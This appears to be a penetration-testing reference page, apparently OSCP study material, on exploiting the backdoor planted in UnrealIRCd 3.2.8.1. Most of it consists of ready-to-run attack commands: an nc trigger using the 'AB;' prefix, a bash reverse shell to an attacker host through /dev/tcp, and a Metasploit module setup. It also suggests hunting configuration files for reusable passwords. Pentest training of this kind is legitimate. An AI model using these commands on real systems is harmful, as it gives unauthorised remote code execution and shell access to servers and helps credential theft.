# UnrealIRCd 3.2.8.1 Backdoor Exploitation

> Exploiting the hardcoded backdoor in UnrealIRCd 3.2.8.1 via the AB command prefix to achieve unauthenticated remote code execution on IRC servers.

- **URL:** https://hackindex.io/services/irc/exploitation/unrealircd-backdoor-exploitation
- **Path:** IRC > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/irc/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

A backdoored version of UnrealIRCd 3.2.8.1 was distributed from the official download mirror between November 2009 and June 2010. The backdoor executes any system command prefixed with `AB;` sent as raw data to the IRC port. No authentication or valid IRC handshake is required. If [IRC enumeration](https://hackindex.io/services/irc/enumeration/irc-enumeration) shows UnrealIRCd version 3.2.8.1, test for this backdoor immediately.

## Test the Backdoor

Send the trigger prefix followed by a command. Output may not be returned through the IRC connection, so use a command with observable side effects:

```bash
echo 'AB; id' | nc -w 3 $TARGET_IP 6667
```

## Reverse Shell

Start a listener with `nc -lvnp $LPORT` first, then trigger the backdoor with a bash reverse shell:

```bash
echo 'AB; bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' | nc $TARGET_IP 6667
```

The shell runs as the user running the IRC daemon, typically `irc` or `nobody`. Check `/etc/unrealircd/` and `/home/irc/` for configuration files containing passwords that may be reused elsewhere.

## Metasploit Module

```bash
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS $TARGET_IP
set PAYLOAD cmd/unix/reverse_perl
set LHOST $LHOST
set LPORT $LPORT
run
```

> [!WARNING]
> Metasploit modules are limited to one machine per exam in the OSCP. Use the manual method on additional targets.

## References

- [LWN: UnrealIRCd Backdoor](https://lwn.net/Articles/392201/) - Report on the compromised UnrealIRCd 3.2.8.1 distribution